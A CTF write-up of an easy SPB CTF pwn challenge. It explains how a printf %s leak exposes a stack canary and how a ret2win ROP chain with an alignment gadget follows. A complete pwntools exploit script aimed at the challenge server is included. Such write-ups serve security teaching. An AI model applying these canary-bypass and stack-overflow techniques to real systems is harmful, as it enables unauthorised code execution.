Canary leak + ret2win (string_leak)
Canary leak + ret2win (string_leak)
Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: XESXOR | Date: 2026-04-18 | Status: Solved Techniques: canary_leak_via_printf_s, movaps_alignment_ret_gadget, single_connection_two_stage
Summary
Task: canary-protected stack overflow with printf(%s) on the same buffer; a win() function calling system('cat flag') already exists. Solution: clobber the canary's leading NUL with a non-null byte to make printf leak the remaining 7 canary bytes, then in the same connection (the read() sits in a loop) rebuild the canary and return into a ret-gadget for movaps alignment plus win().
Canary — string_leak (mc8) — SPB CTF Pwn Season
Description
Нужно ликнуть канарейку и перетереть адрес возврата
nc 109.233.56.90 11609Binary:/files/canary/string_leak
Category: Canary, 10 pts
Binary: ELF x86-64, NX, Canary ON, No PIE (base 0x400000), not stripped.
Analysis
Two functions matter:
win@0x401186→system("cat flag")(string"cat flag"lives at0x402010).play()— the menu loop. Per iteration:puts("We can leak canary with a C string!!"),puts("What is your name?")read(0, buf[rbp-0x20], 0x80)— 128-byte read into a 24-byte buffer before the canary, so a long overflow is possible.- If
buf[0] == 'q'→return(which hitsleave; retand therefore__stack_chk_failcheck). - Otherwise
printf("Hello %s !\n", buf)— classic%sleak that walks until the first\x00. - Loops back to step 1.
Stack frame of play():
[rbp-0x20] buf (0x18 = 24 bytes of usable space before canary)
[rbp-0x08] canary (8 bytes; byte 0 is always \x00 in glibc)
[rbp+0x00] saved rbp
[rbp+0x08] return address
Because the loop re-uses the same stack frame, the canary stays constant across iterations — so a two-stage exploit inside a single connection works.
Solution
Stage 1 — canary leak. Send exactly 24 × 'A' + 'B' with no newline:
- the 24
As fill the buffer up to the canary boundary; - the trailing
Boverwrites the canary's leading\x00; printf("Hello %s !", buf)then walks past our overwrittenBand prints the remaining 7 canary bytes (canary[1..7]) up until the next NUL.
We rebuild the canary as b'\x00' + leaked[25:32].
Stage 2 — ret2win. Still in the same play() iteration loop, send a payload whose first byte is 'q' so the loop exits via leave; ret:
'q' + 'A'*23 # buf (24 bytes), 'q' triggers the return path
+ canary # restore canary -> __stack_chk_fail happy
+ 'B'*8 # saved rbp (doesn't matter, we don't return again)
+ p64(0x40101a) # ret gadget (stack alignment for movaps in system)
+ p64(0x401186) # win()
The extra ret gadget realigns the stack for the movaps-heavy prologue inside glibc's system, which otherwise crashes on unaligned SSE ops when called through a freshly-built ROP frame.
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * context.arch = 'amd64' HOST, PORT = '109.233.56.90', 11609 WIN = 0x401186 RET = 0x40101a p = remote(HOST, PORT) p.recvuntil(b"name?") # Stage 1 — leak canary p.send(b'A' * 24 + b'B') # no newline p.recvuntil(b'Hello ') leaked = p.recvuntil(b' !', drop=True) assert leaked[:24] == b'A' * 24 canary = b'\x00' + leaked[25:25+7] log.success(f"Canary = {hex(u64(canary))}") # Stage 2 — ret2win on next loop iteration payload = b'q' + b'A' * 23 payload += canary payload += b'B' * 8 payload += p64(RET) payload += p64(WIN) p.send(payload) print(p.recvall(timeout=5).decode(errors='replace'))
win() runs system("cat flag") and the flag appears.